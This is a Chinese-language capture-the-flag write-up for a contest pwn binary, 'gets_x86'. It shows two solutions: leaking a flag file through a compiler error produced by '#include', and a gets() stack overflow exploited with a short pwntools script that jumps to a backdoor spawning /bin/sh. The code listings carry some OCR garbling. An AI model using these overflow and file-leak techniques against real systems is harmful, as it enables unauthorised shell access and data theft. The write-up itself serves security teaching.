gets_x86

```
int __cdecl main(int argc, const char **argv, const char **envp)
  char s[50]; // [esp+0h] [ebp-3Eh] BYREF
  FILE *stream; // [esp+32h] [ebp-Ch]
  int *v6; // [esp+36h] [ebp-8h]
  v6 = &argc;
  getCode(s);
  stream = fopen(aHomeBi0x, "w");
  fputs(s, stream);
  fclose(stream);
  if ( check(s) )
    system(aGccHomeBi0x);
    system(aHomeBi0x_0);
  else
  {
    puts("oh no!please don't pwn me!o ne ga i!");
  return 0;
```

先是一个getcode函数

```
char *__cdecl getCode(char *dest)
{
  char s[54]; // [esp+Eh] [ebp-3Ah] BYREF

  puts("please input the c code,we will Compile and execute:\n");
  gets(s);
  return strcpy(dest, s);
}
```

提示输入C代码

再回到main函数,发现程序会将C代码写入文件,然后对gets的内容进行check函数检查:

```
L_BOOL4 __cdecl check(char *s)
2 {
3
   if ( strchr(s, '(') )
ì
     return 0;
5
   if ( strchr(s, ')') )
5
     return 0;
   if ( strchr(s, '{') )
7
3
     return 0;
   if ( strchr(s, '}') )
)
)
     return 0;
L
   if ( strchr(s, '[') )
2
     return 0;
   return strchr(s, ']') = 0;
3
; }
```

如果C代码内容存在(){}[]三种括号就无法运行。

也就是说最基础的int main(){}都不能写,那还能写什么?

答案#include <>

在题目提示中得到flag路径在/flag,因此只要传入#include 就可以利用报错来返回flag的内容

```
bi0x@ubuntu:~/枝襄題目/pwn/gets_x86$ ./gets_x86
please input the c code,we will Compile and execute:

#include </home/bi0x/校赛题目/pwn/gets_x86/flag>
In file included from /home/bi0x/校赛題目/pwn/gets_x86/runcode.c:1:
/home/bi0x/校赛題目/pwn/gets_x86/flag:1:5: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token 1 | flag_1/114514}

sh: 1: /home/bi0x/校赛题目/pwn/gets_x86/runcode: not found
```

(我在本地虚拟机调试 所以路径不一样)

另外本题有两个flag,一个flag路径给了另一个没给,所以想要另一个flag需要打穿才能拿到。

```
char *_cdecl getCode(char *dest)
{
  char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

  puts("please input the c code,we will Compile and execute:\n");
  gets(s);
  return strcpy(dest, s);
}
```

看到getcode里有一个gets函数,很明显是栈溢出漏洞。

并且s到ebp的距离是0x6C,所以只要填充0x6c+4个字符,就可以覆盖返回地址。

返回地址覆盖到哪,可以看到这个函数:

```
int boynextbackdoor()

{
   printf("nice!");
   return system("/bin/sh");
}
```

很明显是后门函数,只要将返回地址改到该函数的首地址就行了。

```
. LEXI.WOW4929U
  .text:<mark>08049296</mark> var_4
                                 = dword ptr -4
  .text:08049296
  .text: 08049296 ; __unwind {
 .text:<mark>08049296</mark>
                                 endbr32
  .text:0804929A
                                 push
                                         ebp
  .text:0804929B
                                 mov
                                         ebp, esp
.text:0804929D
                                 push
                                         ebx
  .text:0804929E
                                 sub
                                         esp, 4
  .text:080492A1
                                 call
                                         __x86_get_pc_thunk_bx
                                         ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
  .text:080492A6
                                 add
                                         esp, 0Ch
• .text:080492AC
                                sub
                                         eax, (aNice - 804B424h)[ebx] ; "nice!"
.text:080492AF
                                lea
                                push
                                                        ; format
  .text:080492B5
                                        eax
  .text:080492B6
                                 call
                                         _printf
• .text:080492BB
                                add
                                         esp, 10h
• .text:080492BE
                                        esp, OCh
                                sub
                                        eax, (aBinSh - 804B424h)[ebx]; "/bin/sh"
 .text:080492C1
                                lea
  .text:080492C7
                                push
                                                        ; command
                                        eax
 .text:080492C8
                                call
                                         _system
                                add
• .text:080492CD
                                        esp, 10h
 .text:080492D0
                                nop
  .text:080492D1
                                 mov
                                         ebx, [ebp+var_4]
 .text:080492D4
                                 leave
• .text:080492D5
                                retn
#!python2
#coding=utf-8
from pwn import *
io = process("./gets_x86")
ELF("./gets_x86")
payload = 'A' * 0x6C + 'bi0x' + p32(0x8049296)
io.sendline(payload)
io.interactive()
```

```
[*] Switching to interactive mode
please input the c code,we will Compile and execute:

$ ls
exp.py ffffllllaaaagggg flag gets_x86 gets_x86.c runcode.c
$ \boxed{\textbf{\textit{1}}}
```

打穿后就能看到还有一个叫ffffllllaaaagggg的文件, cat ffffllllaaaagggg即可得到flag

